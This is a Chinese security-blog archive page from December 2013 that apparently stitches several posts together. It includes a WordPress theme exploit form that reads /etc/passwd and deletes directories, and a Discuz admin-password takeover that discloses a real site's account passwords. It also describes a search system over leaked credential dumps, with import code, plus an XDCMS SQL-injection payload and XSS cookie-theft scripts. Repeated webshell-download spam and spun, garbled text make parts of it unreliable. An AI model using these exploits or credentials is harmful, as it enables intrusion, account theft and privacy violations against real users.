月度归档:2013年12月

WordPress Persuasion Theme 'dl-skin.php'任意文件访问漏洞

起因
输入验证错误
危险等级
 
影响系统
WordPress Persuasion Theme 2.0
WordPress Persuasion Theme 2.3
 
不受影响系统
 
危害
远程攻击者可以利用漏洞获取系统文件内容。
CVSSv2:
 
攻击所需条件
攻击者必须访问WordPress Persuasion Theme。
 
漏洞信息
WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL的服务器上架设自己的网志。
WordPress Persuasion Theme 'dl-skin.php'不正确校验用户提交的输入,允许远程攻击者利用漏洞提交特殊的请求,获取系统文件内容。
 
测试方法
  <>  <body>  <form action="http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post">  Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>  Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>  <input type="submit">  </form>  </body>  </html>

 

安全建议
 
厂商解决方案 
目前没有详细解决方案提供:
http://mysitemyway.com/
 
漏洞提供者
Interference Security
 
漏洞消息链接
http://www.exploit-db.com/exploits/30443/
 

Discuz! –X2/X2.5管理权限用户修改创始人用户密码

Discuz! –X2/X2.5低权限用户修改搞权限用户密码

 
 涉及 Discuz! X2/X2.5 X3未做测试。
 
 (涉及网站 http://bbs.xiangyang.net 副:风的方向 密码:zhoujx626 )
 
(网站管理员:admin 密码不知道 修改后密码:zlf123456 站长QQ:71629730)
 
留下以上信息 方面查证。
 
 今天工作关系 友情检测一个网站 拿到一个用户
 
 
 
用户名:风的方向 用户组:管理组
 
 
 
用户职务:副站长 
 
 
 
如图:
 
Discuz! --X2/X2.5管理权限用户修改创始人用户密码
想拿shell 但是没有UC设置权限
 
 
 
怎么办? 刚开始是准备找地方写XSS盗取 admin 用户名密码 找地方写xss 看到这个帖子:
 
WooYun: Discuz!x2.5某处存储xss 
 
 
 
于是前台试试 提示:前台面板不能管理 去后台 ok 进后台改:
 
 
 
找到admin
 
Discuz! --X2/X2.5管理权限用户修改创始人用户密码
ok 这时发现:
 
 
 
“新密码: ” 这个输入框 一惊
 
 
 
 
 
直接在上面写密码 提交~ 
 
 
 
哈! 居然提示密码修改成功!!!
 
 
 
管理组+副站长权限 直接修改创始人密码!
 
 
 
前台登陆之 成功登录。 
 
 
 
PS:测试我自己的网站 一样成功。
 
 
 
 
 
 
 
 
 
 
 
 
 
漏洞证明:
用户名:风的方向 用户组:管理组
 
 
 
用户职务:副站长 
 
 
 
如图:
 
Discuz! --X2/X2.5管理权限用户修改创始人用户密码
想拿shell 但是没有UC设置权限
 
 
 
怎么办? 刚开始是准备找地方写XSS盗取 admin 用户名密码 找地方写xss 看到这个帖子:
 
http://www.2cto.com/Article/201209/156895.
 
于是前台试试 提示:前台面板不能管理 去后台 ok 进后台改:
 
找到admin
 
Discuz! --X2/X2.5管理权限用户修改创始人用户密码
ok 这时发现:
 
 
 
“新密码: ” 这个输入框 一惊
 
 
 
 
 
直接在上面写密码 提交~ 
 
 
 
哈! 居然提示密码修改成功!!!
 
 
 
管理组+副站长权限 直接修改创始人密码!
 
 
 
前台登陆之 成功登录。
修复方案
Discuz 用户组权限划分修改

我是这么设计高性能海量数(ku)据(zi)查询系统的(一)

码完文章一看,都2014年了,在这里先祝大家新年快乐!O(∩_∩)O~~

看了@Ph4nt0m 菊苣写了一篇类似的文章,刚好我最近也在做这种事情,所以也就顺便写了篇文,欢迎交流~

第一次写文,为了篇幅够长够高端,所以我先来说说缘由吧。

其实目前来看,市面上无非就两种架构的数(ku)据(zi)查询系统。

中国菜刀下载

第一种就是最常见的 文件 + 单行搜索格式。

第二种就是 数据库(常见是Mysql) + 搜索

上面两种的缺点就很明显了,第一种,数据无缓存,且非常依赖IO,而且不能方便的整理数据。一旦查询量增加,对IO的要求就会非常高,速度会下降的非常明显。

第二种,其实也可以分为两种,一种就像Ph4nt0m 菊苣一样,非常简单的 id – content一一对应,还有一种就是每个信息单独分开。这两种速度差其实并不大。由于mysql的like性能非常的低下,尤其是使用了通配符的,基本上索引是失效的。但是mysql内部还是有缓存的,所以当你查询别人查过内容以后,速度还是会比较快的。

其实ovear一开始也是使用的第二种方法,在数据量在100W以下的时候,mysql的like还勉勉强强能在0.5S内,但是一旦数据量开始增加,需要的时间就从0.5变到1 2 3 4,对于我们这种海量数据,显然是不行的。

好了,看来上面两种架构,基本上没有神马用途了。这时候肯定有童鞋跳出来问:“为毛不用nosql捏,现在nosql这么屌”。

嘛,这种架构我也是考虑过的,但是其中的一个问题就是他的key你怎么处理,而且使用nosql意味着你要自己写搜索算法,如果单纯暴力的直接搜索,那么跟第一种架构基本上没差别,而且速度还会更慢。而且你必须得保证你的key是唯一的,这样子看来麻烦的要死,自然也被我们放弃了。

那么目前较为妥善的解决方法就是,1、普通数据库+索引程序

2、nosql+索引

显然nosql+索引速度会更好一点,但为什么我最后还会采用普通的数据库呢?其实原因很简单,因为我懒(TAT)。(希望各位如果能有些出nosql版的记得发篇文章给我参考下~)

如果用nosql还得自己写一堆封装,还要自己写pool,使用常规数据库可以用市面上一堆sql pool,刚好上个项目又写了个manger,所以顺便就使用了常规数据库。

其实nosql的速度真的会快很多。如果有能力,强烈推荐换成nosql。至于nosql怎么选,mongodb和redis都是不错的选择。如果英语比较好推荐orientdb,原生支持分布式。

那么数据库决定了,就要决定索引程序了。市面上的索引器大概流行的就是lucene和sphinx。

我跟Ph4nt0m刚好相反,使用了lucene作为索引器。现在我来讲讲为什么会选lucene而不是sphinx。

首先lucene和sphinx的开发语言不同,lucene是用的java开发,sphinx是使用的c/c++开发,速度自然是sphinx快一些,但是这其实还是跟使用方法有关系的。而我刚好又会点java,所以就选择了sphinx。

Sphinx还有一个问题,就是索引更新问题,Sphinx索引不支持动态更新,所以不适合经常插数据库。Lucene则支持的比较好,而且像我们这类程序,不需要分词,直接搜索即可,所以理论上不分词的lucene效率会更好一点(呃)

另外java内部调用lucene不需要额外安装程序,直接使用一个jar就行了,而且不用使用api也是我选择lucene的主要原因之一。

接下来就是数据表结构了,这里我采用的是分析过后的多字段来表述,表结构如下

CREATE TABLE `NewTable` (  `id`  int(11) NOT NULL AUTO_INCREMENT ,  `username`  varchar(32) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   `real_name`  varchar(32) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '真实姓名' ,   `password`  varchar(64) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   `salt`  varchar(32) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   `email`  varchar(60) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   `qq`  varchar(12) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   `phone`  varchar(12) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   `cell_phone`  varchar(12) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   `source`  varchar(32) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL ,   PRIMARY KEY (`id`),  UNIQUE INDEX `id` (`id`) USING BTREE  )  ENGINE=MyISAM  DEFAULT CHARACTER SET=utf8 COLLATE=utf8_general_ci  AUTO_INCREMENT=7703021  CHECKSUM=0  ROW_FORMAT=DYNAMIC  DELAY_KEY_WRITE=0  ;

这样子细分的好处就是, 以后数据聚合起来比较方便(比如说人员关系分析啥的,咕嘿嘿,可以自己想象下)

为了处理数据库,我采用的方法是针对不同特征的数据库,采用不同的Loader,比如说discuzLoader等等,对于同一类的数据非常方便,但是对于自己写的系统就比较麻烦了,所以我现在正在写一个templateLoader(灵感来自@0x0F)

基本上就是输入特征自动入库

比如说 {USERNAME} {PASSWORD}这样规定文件格式,就可以轻松入库。

这里分享下discuzLoader

//TODO 增加分批入库      @Override      public boolean load(String source) {          long start = System.currentTimeMillis();          int offset = 0;          String queryDiscuzSql = "select username,password,email from " + discuzTable;           List<DiscuzBean> discuzInfo = QueryHelper.query(DiscuzBean.class, queryDiscuzSql);           long end = System.currentTimeMillis();            System.out.println("initial sql completed, spend [" + (end - start) + "]ms");            String sql = "insert into " + newTable + "(username,password,email,source)values(?,?,?,?)";           Iterator<DiscuzBean> iter = discuzInfo.iterator();          DiscuzBean discuzBean;            int handled = 0;          start = System.currentTimeMillis();          while(iter.hasNext()){              discuzBean = iter.next();              if(handled != 0 && handled % 10000 == 0){                  end = System.currentTimeMillis();                  System.out.println("handled [" + handled + "] spend [" + (end - start) + "]ms");                   start = System.currentTimeMillis();              }              QueryHelper.update(sql, discuzBean.getUsername(), discuzBean.getPassword(),                       discuzBean.getEmail(), source);                handled++;          }          return true;      }  }

看看时间不早了,明天再爬起来写第二张~(索引的详细用法、思路以及常见陷阱~)

希望大家能看过这系列文章后都有自己的高性能海量数(ku)据(zi)查询系统~

先来说说效果吧,lucene入库速度还算不错10000条可以控制在一秒作用,这样百万级别的数据还是可以非常快速地索引。

_(:з」∠)_搜完喽(耗时index [92ms], background [47ms], database [896ms]),结果如下:

可以看出,1000W的数据,原本查询需要5-6S,顺利的缩小到了1S内,但是目前还有比较大的问题,就是数据库还是不够快,但是查询时间已经基本可以控制在1S内了,比之前的动不动就是十几秒好多了,我也会继续看看怎么解决普通数据库查u型纽曼的问题的~

如果实在不行咱就再出一期nosql版~

我的mail是ovearj#gmail.com

欢迎通过email跟我交流,或者站内信~(wooyun有么?)

PS1:查询喜用采用Java语言开发。

PS2:http://s.atv.ac/ 使用的就是这套系统。但是目前耦合度比较高,暂时分离不出来,所以开源还得等一段时间。

相关讨论:

1#

0x0F (…………………………………………………………………………………………………………………………………………………………………………………………………………………………….) | 2014-01-01 00:21

新年第一劈!

2#

Ovear | 2014-01-01 00:23

@0x0F 0菊苣!

3#

法海 | 2014-01-01 00:25

导入的时候 如果用

insert into " + newTable + "(username,password,email,source)values(?,?,?,?),(?,?,?,?),(?,?,?,?),(?,?,?,?),(?,?,?,?),....

会不会快些?

4#

x1aoh4i (———————————————————————————————1111111111111111111111111111111111111111111111111111111111111111111——————————————————–111111111111111111111111111111111111111) | 2014-01-01 00:30

String queryDiscuzSql = "select username,password,email from " + discuzTable;

语句能这样写么

5#

Ovear | 2014-01-01 00:35

@法海 晚点我去试试~其实是因为我这个玩意不支持这样生成数据,自己拼接sql我感觉不安全~所以就没试了~

6#

Ovear | 2014-01-01 00:36

@x1aoh4i 语句没问题的~

7#

if、so (no talk,but shell!!) | 2014-01-01 00:50

@Ovear 那就把你的海量数据做成种子发我吧

8#

0x0F (…………………………………………………………………………………………………………………………………………………………………………………………………………………………….) | 2014-01-01 01:01

顺便发下quickLoader这个工具需求吧,总觉得应该已经有人写出来了,但是没找到。路过码神感兴趣的可以试试共享?@Ovear

InsertFile:    File1.[*discuz].sql  [code]INSERT INTO `bbs_common_member` (`uid`, `email`, `username`, `password`, `status`, `emailstatus`, `avatarstatus`, `videophotostatus`, `adminid`, `groupid`, `groupexpiry`, `extgroupids`, `regdate`, `credits`, `notifysound`, `timeoffset`, `newpm`, `newprompt`, `accessmasks`, `allowadmincp`, `onlyacceptfriendpm`, `conisbind`) VALUES  (1, 'name@domain.com', 'admin', 'e10adc3949ba59abbe56e057f20f883e', 0, 0, 1, 0, 1, 1, 0, '', 1191386040, 85, 1, '9999', 0, 0, 0, 1, 0, 1),  ......    File2.[*dede].sql  INSERT INTO `dedecms_member` (`mid`, `mtype`, `userid`, `pwd`, `uname`, `sex`, `rank`, `uptime`, `exptime`, `money`, `email`, `scores`, `matt`, `spacesta`, `face`, `safequestion`, `safeanswer`, `jointime`, `joinip`, `logintime`, `loginip`, `checkmail`) VALUES  (1, '个人', 'admin', 'e10adc3949ba59abbe56e057f20f883e', 'admin', '男', 100, 0, 0, 0, '', 10006, 10, 0, '', 0, '', 1343443904, '', 1371490073, '127.0.0.1', -1),  ......    File3.[*].txt  ID UNAME EMAIL PWORD logintime face xxx  1 admin admin@admin.com password 123 123 123  ......

Program:

Input是这样的。导入文本规则能够自定义,导入时导入文本,输入来源、特征文本格式和分隔符即可,特征文本如下。

File1: ([__RANDOM__], '[*Email*]', '[*Uname*]', '[*PWord*]', [__RRANDOM__] 特征字符: [ ), ]  File2: ([__RANDOM__], '[__RANDOM__]', '[*Uname*]', '[*PWord*]', [__RRANDOM__] 特征字符: [ ), ]  File3: [__RANDOM__] [*Uname*] [*Email*] [*PWord*] [__RRANDOM__] 特征字符: [  r n ]

特征文本识别[__RANDOM__]为一个不包含特殊字符的随机内容,而[__RRANDOM__]为任意字符,正则匹配取出要求字段,输出一段符合服务器数据库的sql或者其他格式。

不知道讲清楚了没有,费脑细胞啊。。各位新年快乐。

9#

Ovear | 2014-01-01 01:33

顺便做个广告~

http://s.atv.ac/ 使用的就是这套系统。但是目前耦合度比较高,暂时分离不出来,所以开源还得等一段时间。

10#

Ovear | 2014-01-01 01:35

@0x0F _(:з」∠)_ 0菊苣我正在写呢,sql语句分析暂时无能为力,在找现成的sql分析器

11#

Ph4nt0m | 2014-01-01 03:43

赞,元旦快乐!当初我没有细分表主要有两个原因.

1.怕细分后,有很多数据库很多字段用不上.浪费空间.

2.怕导入数据过程太麻烦,偷懒 :)

另外我比较头疼,究竟选择哪些字段较好.像有些裤子的登陆IP、时间,有时候这些信息都挺有帮助。最初我是选定了 数据库ID、用户名、昵称、密码、邮箱、salt、ext{合并所有不重要的东西}。最终还是选择了 id,数据库id,content这样的懒方法。

最后有个小建议,把source 换成 sourceid。库名单独一个表,节省空间又方便修改。

12#

(统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-01-01 10:42

mark...

XDCMS企业管理系统SQL注入#2

最新版XDCMS企业管理系统,由于过滤不严,可绕过限制,招致SQL注入

 
注入在XDCMS企业管理系统的登录功用处,来看看 system modules member index.php文件: 登录时会挪用login_save停止登录验证,效果就出在index.php的login_save函数处:
 
  public function login_save(){    $username = safe_($_POST['username']);//获取UserName,经由进程safe_html停止过滤,这里存在缺陷,可绕过限制,停止注入    $password = safe_html($_POST['password']);        if(empty($username)||empty($password)){    showmsg(C('user_pass_empty'),'-1');    }        $sql="select * from ".DB_PRE."member where `username`='$username'";//经由进程绕过限制,在这里停止注入    if($this->->num_rows($sql)==0){    showmsg(C('member_not_exist'),'-1');    }        $password=md5(md5($password));    $rs=$this->mysql->get_one($sql);    if($password!=$rs['password']){    showmsg(C('password_error'),'-1');    }        if($rs['is_lock']==1){    showmsg(C('user_lock'),'-1');    }        $logins=$rs["logins"]+1;    $ip=safe_replace(safe_html(getip()));    $this->mysql->db_update("member","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'");        Cookie::_setcookie(array('name'=>'member_user','value'=>$username));    Cookie::_setcookie(array('name'=>'member_userid','value'=>$rs['userid']));    Cookie::_setcookie(array('name'=>'member_groupid','value'=>$rs['groupid']));    unset($rs);    showmsg(C("login_success"),"index.php烦忙m=member");    }

 

 
由于在获取UserName时,经由进程safe_html停止过滤,safe_html只是依照小写过滤了惯例的SQL注入敏感词以及=和*,但只这里存在缺陷,可绕过限制,停止注入。
 
我们应用小写SQL语句,而且不适用=和*
 
在登录是,抓包,在UserName的值前面增添一下内容:
 
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0×23,password) FROM c_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#
 
 
即可注入出管理员的用户名密码
XDCMS企业管理系统SQL注入#2
XDCMS企业管理系统SQL注入#2
修复方案:
过滤严厉

一周海外安全事件回顾(12.16 – 12.21)

一周海外安全事件回顾(12.16 – 12.21)

毫无疑问,本周最大的安全事件是:NSA只花了1千万美金就买走了一个企业的道德。

廉价的企业道德

真正让公众震惊和愤怒的不是RSA对NSA的屈服,而是“1千万美金“!

中国菜刀下载


本周,据路透社报道,NSA曾与加密技术公司RSA达成了1000万美元的协议,将NSA提供留有后门的方程式设定为BSafe安全软件的优先或默认随机数生成算法。

一周海外安全事件回顾(12.16 – 12.21)

这个Bsafe使用的算法即Dual_EC_DRBG算法。在NIST的算法标准SP 800-90中,Dual_EC_DRBG被认可作为标准的加密算法之一。事实上,Dual_EC_DRBG算法相当短命。NIST在2006年发布SP800-90,在2007年即被微软公司发现该算法有后门。 在今年9月,斯诺登通过纽约时报曝光,RSA 的Dual_EC_DRBG算法自身存在缺陷,而缺陷正是NSA可以利用的后门。当时,据RSA承认,

“all versions of RSA BSAFE Toolkits, including all versions of Crypto-C ME, Micro Edition Suite, Crypto-J, Cert-J, SSL-J, Crypto-C, Cert-C, SSL-C were affected. In addition, all versions of RSA Data Protection Manager (DPM) server and clients were affected as well”。

从上述众多的版本中可见影响面之大。

从NIST将Dual_EC_DRBG算法放入SP800-90,到人们发现该算法的问题,再到NSA的浮出水面,最终到“1千万”事件的曝光,在这个充斥着铜臭的肮脏的事件中,我看到的是一个企业的堕落。当然,会有一些朋友说:“拜托,你我不是生活在真空里,人在屋檐下,怎能不低头?”这话没错,而且大家都非常清楚和明白这话的意思。不过,真正让公众震惊和愤怒的不是RSA的屈服(事实上比RSA庞大很多的企业也都跪了),而是这1千万美金。难道你RSA的企业道德就只值这1千万美金?

更糟的是,事情的影响远没有这么简单。在“1千万”曝光之前,我们甚至可以天真的认为NSA内置RSA算法的后门只是一个个案。“1千万”之后,我们不得不有更多的疑问: Symantec,McAfee,Microsoft这些掌握着业界安全加密算法的公司就干净吗?这是一个让人崩溃的猜测,将动摇人们对安全行业中最基础的加密技术的信心。这也让我想起天朝某家电厂商的一句广告词—掌握核心科技。没错,这对天朝也是一个警示——“掌握核心科技”是多么的重要。

NSA上法庭了

政府拿不出一个案例,证明NSA大规模的元数据收集事实上哪怕是阻止了一起恐怖分子可能发起的攻击。


周一,美国地区法官Richard Leon接受了NSA大规模监听和手机通话元数据收集的行为,涉嫌违反宪法第四修正案一案的受理。由于情况复杂,案件处理历时可能历时几个月甚至几年。

一周海外安全事件回顾(12.16 – 12.21)

不管怎样,当下NSA需要讲清楚四个事情:

1.什么是元数据(metadata)?  2.流量分析是怎么回事?  3.流量分析和元数据应用案例。  4.如何从法律层面上规避元数据对合法公民的侵犯?

具有讽刺意味的是,Leon法官本人对于NSA窃听行为的正当性就充满了质疑。Leon说:“ 政府拿不出一个案例,证明NSA大规模的元数据收集事实上哪怕是阻止了一起恐怖分子可能发起的攻击,或在时间这一关键要素上帮助政府实现任何目标。”

NSA,你还有什么好说的呢?

两款新型僵尸程序被发现

道高一尺,魔高一丈。


研究人员发现一种名为Trojan.Ferret的僵尸程序。该程序用Delphi编写,bot通过HTTP与CC通信 。

一周海外安全事件回顾(12.16 – 12.21)

该僵尸程序最大的特点是具有强大的生存能力。Bot程序支持UPX打包,字符串混淆,虚拟机识别,反调试,自修改代码等(UPX packing, string obfuscation, anti-virtual machine and anti-debugging measures, self-modifying code and process hollowing)。

Trojan.Ferret采用两种方法混淆,结合base64和异或(XOR)加密,来掩盖攻击者的攻击手段。不同加密密钥被用于恶意代码库的不同部分。两种混淆手段,一种用来加密恶意代码串,另一种用来隐藏与CC控制台的通信。

Trojan.Ferret程序的不足在于其对DDoS的支持并不全面,工具不支持诸如Slowloris, Apache Killer等应用层攻击。显然,Trojan.Ferret并不适合发起混合型DDoS攻击。

无独有偶,在本周,波兰CERT发现了另一个可感染Linux和Windows主机的僵尸程序。该僵尸主要发起DNS放大攻击。考虑到DNS放大攻击对目标系统资源的要求,该僵尸的感染目标就是有丰富带宽的服务器。

一周海外安全事件回顾(12.16 – 12.21)

显然,Linux主机是主要对象。攻击者入侵方式相当暴力,是对Linux主机发起SSH字典攻击。破解后登录,下载bot程序。CC和bot之间采用加密通信。

在windows下,僵尸的工作方式有所不同。Bot感染目标系统后,程序首先伪装为一个名为DBProtectSupport的Windows服务,通过高位TCP端口和CC通信。当Bot感染Windows系统后,其最大的问题在于,bot需要首先向8.8.8.8发送一个DNS查询请求获得CC地址,然后获得带有攻击目标详细信息的txt文件。截获这个txt文件,就可以知道cc的信息。

看来任何强大的东东都有其不足的方面。

其他


在本周,其他值得关注的安全事件包括:

Frost&Sullivan称亚太地区的可管理安全服务(MSS)市场将快速发展。在2012年,亚太地区MSS收入为16.6亿美金。在2019年,这个数字将达到53亿美金。可能对MSS在亚太普及造成不利影响的市场因素主要是亚太客户根深蒂固的传统的设备采购和固资等思维模式。在众多细分客户群中,FBSI(金融)客户对MSS的接受程度最高。

解铃还须系铃人,没有哪个厂商比系统厂商更了解自己系统的安全。本周,Siemens宣布通过引入新的MSS业务模式提升其工业控制系统的安全性,和客户的忠诚度。Siemens的MSS服务提供持续的、覆盖生命周期的安全防护。

上述两个事件阐述了一个显而易见的趋势——不管是系统厂商还是安全厂商,或是其他以安全为增值服务的运营商,可管理安全服务(MSS)作为一种崭新的业务模式,尽管其客户接受度在不同区域市场有所不同,但是总的来说,其前景是非常美好的。(完)

参考:

1、RSA被指收美政府千万美元在加密算法中安后门,

2、Report: NSA paid RSA to make flawed crypto algorithm the default,

3、RSA Tells Its Developer Customers: Stop Using NSA-Linked Algorithm,

4、Security firm RSA took millions from NSA,

5、Commentary: NSA phone program on trial,

6、New DDoS Bot Has a Fancy For Ferrets,

7、DDoS botnet spreading on Linux and Windows machines,

8、Frost & Sullivan: Adoption of Managed Security Services Rises inAPAC to Counter Growing Cyber Attacks,

9、Siemens launches managed security services model to help combatcyber threats,

(Dec., 22 @blackscreen)

好心人捡万元留"缺位"号码 猜86个电话找到拾主

诚信密码

成功破译

失主不小心丢了1万元;

好心人捡到钱,特意留下手机号码,无意中却漏写一位数字;

中国菜刀下载

20点20分许~23点04分86个电话号码的尝试;

1万元最终原封不动归还。

成都市民米果在超市门前遗失1万元现金被人捡到,捡钱者给超市收银员留下电话,以方便失主联系。谁料留下的手机号码却少了一位。前日夜间,米果采用了最无奈的方式:按照对方留下的号码依次添补上一位数字,最终,在第86个电话接通后,喜讯传来:市民廖先生承认自己正是捡钱者,并将1万元钱予以归还。

钱丢了

捡到万元现金却留下“缺位”号码

前日晚上8点20分,米果带着4万元现金前往蜀汉路一品天下地铁站D口旁的光大银行,准备存钱。将车停在银行隔壁的一家WOWO超市前,米果把钱装进衣服两侧的口袋中,一路小跑来到了ATM机前,“把卡插进去后,我才发现身上少了一万块。”米果称,他赶紧回头寻找,“走到车子面前时,WOWO超市里面走出了一位收银员,问我在找啥子。”

米果告诉了收银员事情经过,对方称,大约在5分钟之前,有一名穿黑衣、戴眼镜,看上去40多岁的男子,拿着一叠扎好的现金走进超市,询问:“是谁丢了钱?”

据该收银员称,由于不知道失主是谁,当时该男子留下了一个手机号码,称如果失主回来寻找,可与他取得联系。说罢,收银员递给了米果一张收银票,上面有对方留下的号码。然而,就在准备拨打时,米果却意外发现该号码少了一位数。“当时就很纳闷,不知道是对方写错了,还是故意留了个假号。”米果称,随即他拨打了报警电话,由于无法确认对方信息,警方只能劝他在超市门口守候,如果对方一直没有出现,再等待次日调取超市监控录像后,另外想办法。

补数字

排列组合最多拨90个号码能找到

米果称,在超市门口苦等了约两个小时,对方一直没有出现。妻子赶来与他会合后,只好决定先暂时回家。途中,在逐渐冷静下来后,米果与妻子一起分析:“既然对方在捡钱后,主动去询问收银员,那么他就应该不是故意写错号码。”米果称,虽然对方留下的号码少了一位,但如果自己能按照排列组合的方式,添上一位数字将号码补齐,“也许可以联系上对方。”

随即,米果将车停到路边,掏出了对方留下的纸条,上方写的号码为“1500820XXX”。“前面的‘15’是手机号段,一般来说不会写错,那最大可能就是后面漏写了一个数字。”米果说,经过现场计算,他得出的结论是,“如果按照顺序依次拨打,最多需要拨90个号码。”

想到这里,米果称他再也坐不住了,赶紧与妻子掏出手机,分别开始拨打电话。

一一试

很多人以为是骗子直接把电话挂了

昨日上午,成都商报记者在米果的手机上看到:在12月27日晚上10点过,他的通话记录中有40多个拨出电话,号码前均以‘15’开头。米果称,这是他当时为了寻找捡钱者,依次拨出去的电话。

“最开始,我拨过去直接询问对方是否捡到1万元现金,很多人都以为我是骗子,直接把电话挂了。”米果介绍,发现这种方式极易引起误会,随即他改变了策略,先是询问对方当晚是否到过蜀汉路光大银行附近,等待对方回应后,再进行解释,“这样一来就很容易,效率也提高了很多”。

米果称,而这些接听电话的人,对待自己的态度也有所不同,有些人表现得十分客气,有些人则相对谨慎,“听到我问是否到过蜀汉路光大银行,会第一时间反过来询问我的身份。”大约拨打了20多个电话后,米果称自己一直没能找到真正捡钱者,“当时手机都已经发烫了,心里很犹豫,想到过要放弃。但最后还是一咬牙,坚持继续往下打。”

猜中了

第86个电话成功对方不要酬谢

喜讯最终传来。在当晚11点04分,米果与妻子拨通了第86个手机号码。电话接通后,一名姓廖的男子承认自己在两个多小时前,曾到蜀汉路光大银行,并捡到了一万元现金。米果称,仔细核实情况后,他们确认对方正是自己苦苦寻找的捡钱者。

当晚,两人在花牌坊的某小区内见了面,找到现金的米果,顺手就要从一叠现金中抽出一部分,作为对廖先生的感激,但被后者拒绝。

米果称,回家后,他心情实在难以平复,曾发短信给廖先生,希望能带着礼品前去拜访,但同样被对方婉拒了。

捡钱者一个疏忽

没想到给失主带来麻烦

昨日上午,成都商报记者电话联系上了廖先生,他自称,“没想到自己的一个疏忽,给失主带来了那么大的麻烦。”

回忆事情经过,廖先生证实:27号晚,他到蜀汉路看望父母,回家时,在准备去一品天下地铁站D口乘坐地铁,从WOWO超市门口经过,在离超市大约10米的路边,发现地上的现金。“虽然晚上光线不是很好,但地上的一叠百元钞票,还是很显眼。”

据当时廖先生的推断,钱很有可能是超市的出纳带出去准备存入银行的,于是他捡起现金,进入超市,询问收银员是否是超市丢了钱。经询问,才发现这钱不是超市丢的。

随后,他在超市门口等了大约5分钟,因还要赶往花牌坊办事,无奈之下,只好向超市收银员索要了一张纸条,写下了自己的手机号码,并托付收银员,“要是有人回来找,请他给我打电话。”随后便匆匆离去。

晚上11点过,廖先生接到米果的电话。“当时并不知道,我把号码写漏了一位,他是挨个打电话找过来的。”廖先生称,当时在电话中,米果询问他是不是去过蜀汉路,是不是曾在WOWO超市门前捡到一万元现金。为避免有诈,他便询问米果现金的特征,结果描述的状况和他捡到的一模一样。“我才确定他就是失主,把钱还回去了。”

对于米果希望能表达谢意,廖先生称,确实没有必要,这是每个市民都应该做的,“我若是图这些,当时何必还要留下电话号码。”

成都商报记者廖金城逯望一

小知识

号码少一位从后往前试试

电话号码多一位、少一位是经常遇的事,如何找出正确的号码呢?

米果最先在号码的最后面加一位数字(从0拨到9),没成功后,然后又从“15”后加一位(从0拨到9),也没成功,于是又在第三四位间插一位数字,以此类推,终于在第86次找出了正确的号码,原来廖先生漏写了倒数第二位数字。假如米果一直从最后一位数字往前面加的话,他可以只拨16次就找到廖先生。

米果推论廖先生留下的“15”是号段,因此最多只要拨90次就能找出真正的号码,但其实,“1”“5”之间也可能漏写一位,不过根据现行移动号码规则,“1”“5”之间只可能是“3、5、8”,这样算下来,只要写的数字没错,最多拨93次,就能找出正确的号码。

谈论XSS

XSS 叫跨站脚本攻击(Cross Site Script),那么XSS原本应该叫做CSS,但是由于CSS的简称已经被连级样式表 使用了,所以就换个称谓XSS。

为什么叫做跨站脚本攻击呢?
它的意思就是在别人的网站上嵌入脚本,而这个脚本原本不是属于这个网站的。这个解释很直观吧。
怎么嵌入脚本呢?
谈论XSS
比如这么个搜索结果页,当用户搜索test的时候,页面会显示“搜索关键词:test”
这个时候,这里的test就很有可能会出现xss漏洞,如果该页面是直接将用户输入的东西“返回”到页面上,那么存在的xss漏洞就可以这样利用:
输入:<script>alert(1);</scrip>
那么页面就会跳出alert(1);
这种XSS叫做反射性XSS。
 
再谈论另外一种场景,每个网站都有反馈框。允许用户反馈数据给后台。
而这个后台一般都是管理员进行审核,会在管理后台展示。
如果一个<script>var x=new Image(); x.src=”http://hack.com?cookie=”+document.cookie;</script>的反馈数据由用户输入
然后这个数据“直接”返回到管理后台上,那么这个时候,管理后台管理员的cookie就被作为参数传递到http://hack.com 了。后面就可以使用cookie来做登录管理后台了。
这种XSS由于攻击代码存储进数据库了,所以叫做存储型XSS。
危害
一般来说,存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己,而存储型的XSS可能会影响到网站的其他用户。
XSS可以如上面例子说的:
1 盗取cookie
2 钓鱼
比如我将一段代码注入进某个网站的支付页面,这段js代码做的事情是,动态控制这个支付页面的Form表单,比如将这个form表单的html替换成目标网站一个相似的html。
或者另一个案例是使用反射型XSS,我预先生成一个url,这个url是一个有反射型xss的页面。比如 document.getElementById(“loginForm”).action=”http://hack.com”http://weibo.com/login?username=<script>document.getElementById(“loginForm”).action=”http://hack.com”</script> ,然后我将这个页面通过qq的群邮件发给qq群中的所有人,一旦有人点击这个链接,那么就会进入微博登陆页,万一再输入用户名密码,那么这个人的用户名密码就会被盗了。当然,这个案例有个问题,url太假了,怎么办?短链接服务。现在有很多厂商提供了短连接的服务。那么最后的链接是实际看不出来问题的。
3 DDOS攻击
当然这个前提是有大量用户已经被XSS攻击了,所以他们浏览的页面已经被植入了代码,这个代码的作用就是循环向一个网站发送请求,如果有xss漏洞的这个网站是有大量用户的,比如微博,那么后一个被DDOS攻击的网站就真心惨了。
总之,XSS的危害就在于网站的页面可以被随意嵌入js代码。
 

简易版DataLoader.exe(只要正则写得好,大部分数据都能导)-元旦快乐!

半夜看见 @Ovear 发文《》,留言中@0x0F 也提到加载数据入库的工具。感觉使用SQL语法分析,再提取数据有点麻烦。遂敲了一个简单的数据导入工具,灵活多变。至于强大与否,得看看客的正则水平如何了。

界面:

